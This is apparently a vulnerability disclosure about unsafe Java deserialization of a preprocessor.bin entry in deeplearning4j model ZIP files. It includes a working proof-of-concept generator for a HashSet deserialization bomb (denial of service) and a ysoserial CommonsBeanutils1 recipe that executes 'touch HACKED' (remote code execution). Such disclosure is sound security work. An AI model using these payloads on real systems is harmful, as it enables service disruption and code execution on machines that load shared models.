Unsafe Deserialization Vulnerability in ZIP-Based Model Loading
Description
The reporter wrote:
While I was reviewing the ML model loading mechanisms of the deeplearning4j library, I discovered a potential vulnerability in how this package handles ZIP archives. The issue can lead to a Denial of Service (DoS), or, under certain conditions, even lead to Remote Code Execution (RCE) when loading untrusted models.
Module
Affected project: org.deeplearning4j:deeplearning4j-core@1.0.0-M2.1
Summary
The method loadZipData (called by ModelSerializer.restoreMultiLayerNetwork) is responsible for reading ZIP archives that represent serialized machine learning models. It extracts entries from the archive. The following code allows deserialization of binary data (PREPROCESSOR_BIN) from a ZIP file that is controlled by the user:
byte[] prep = zipFile.get(PREPROCESSOR_BIN);
if (prep != null) {
InputStream stream = new ByteArrayInputStream(prep);
ObjectInputStream ois = new ObjectInputStream(stream);
try {
preProcessor = (DataSetPreProcessor) ois.readObject(); //<---
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
gotPreProcessor = true;
}Model sharing is a common practice in the machine learning community, where pre-trained models are distributed as serialized files to enable knowledge transfer and collaborative development.
The deserialized byte stream is fully controlled by the user, making the application vulnerable to a series of attacks, including:
Denial of Service (DoS) through complex or recursive serialized structures Remote Code Execution (RCE) when gadget classes are available in the classpath I'd welcome any thoughts or feedback you might have on this report. Below the steps and PoC I used to reproduce the problem.
Setup
java -version
openjdk version "11.0.27" 2025-04-15
mvn --version
Apache Maven 3.8.7create a project
mvn archetype:generate -DgroupId=org.example -DartifactId=dl4j-demo -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=falsefile src/main/java/org/example/App.java
package org.example;
import org.deeplearning4j.nn.multilayer.MultiLayerNetwork;
import java.io.File;
public class App {
public static void main(String[] args) throws Exception {
File file = new File("model.zip");
MultiLayerNetwork model = MultiLayerNetwork.load(file, true);
System.out.println("Summary:\n" + model.summary());
}
}pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>dl4j-demo</artifactId>
<packaging>jar</packaging>
<version>1.0-SNAPSHOT</version>
<name>dl4j-demo</name>
<url>http://maven.apache.org/</url>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.deeplearning4j</groupId>
<artifactId>deeplearning4j-core</artifactId>
<version>1.0.0-M2.1</version>
</dependency>
<dependency>
<groupId>org.nd4j</groupId>
<artifactId>nd4j-native-platform</artifactId>
<version>1.0.0-M2.1</version>
</dependency>
<!-- Added to demonstrate RCE PoC -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
</properties>
</project>PoC 1: Denial-of-Service (DoS)
I used the following code to create a serialized object that causes a Denial of Service (DoS) when deserialized.
GenerateModel.java - inspired by gist.github.com/
import java.io.*;
import java.util.HashSet;
import java.util.Set;
public class GenerateModel {
public static void main(String[] args) throws Exception {
int n = Integer.parseInt(args[0]);
byte[] payload = payload(n);
try (FileOutputStream fos = new FileOutputStream("preprocessor.bin")) {
fos.write(payload);
}
System.out.println("preprocessor.bin");
}
static byte[] payload(int n) throws IOException {
Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < n; i++) {
Set t1 = new HashSet();
Set t2 = new HashSet();
t1.add("foo");
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
return serialize(root);
}
static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
return baos.toByteArray();
}
}create the preprocessor.bin* and model.zip files:
javac --release 11 GenerateModel.java && java GenerateModel 27
zip model.zip preprocessor.bin -j- For the sake of the Proof of Concept (PoC), I used 27 iterations to generate the payload so that the execution will terminate after a short time, but increasing the number of iterations will cause the program to hang for longer.
execute the PoC
time mvn compile exec:java -Dexec.mainClass="[org.example.App](http://org.example.app/)" -q
...
real 0m19.733s
user 0m24.138s
sys 0m0.480PoC 2: Remote Code Execution (RCE)
- Requirements
At least one gadget chain must be present (e.g. from commons-collections, commons-beanutils, etcc)
For this PoC I used the tool ysoserial (github.com/
To ensure the appropriate gadget chain was available in the classpath, the Maven dependency commons-beanutils:1.9.2 was explicitly added to the project's pom.xml. This version contains known gadget classes compatible with the CommonsBeanutils1 payload in ysoserial.
- download
ysoserialand generate the payload
curl -L -o ysoserial.jar https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
java -jar ysoserial.jar CommonsBeanutils1 'touch HACKED' > preprocessor.bin
zip model.zip preprocessor.bin -j- execute the PoC
ls HACKED
ls: cannot access 'HACKED': No such file or directory
mvn compile exec:java -Dexec.mainClass="[org.example.App](http://org.example.app/)"
java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
...
ls HACKED
HACKEDReferences:
owasp.org/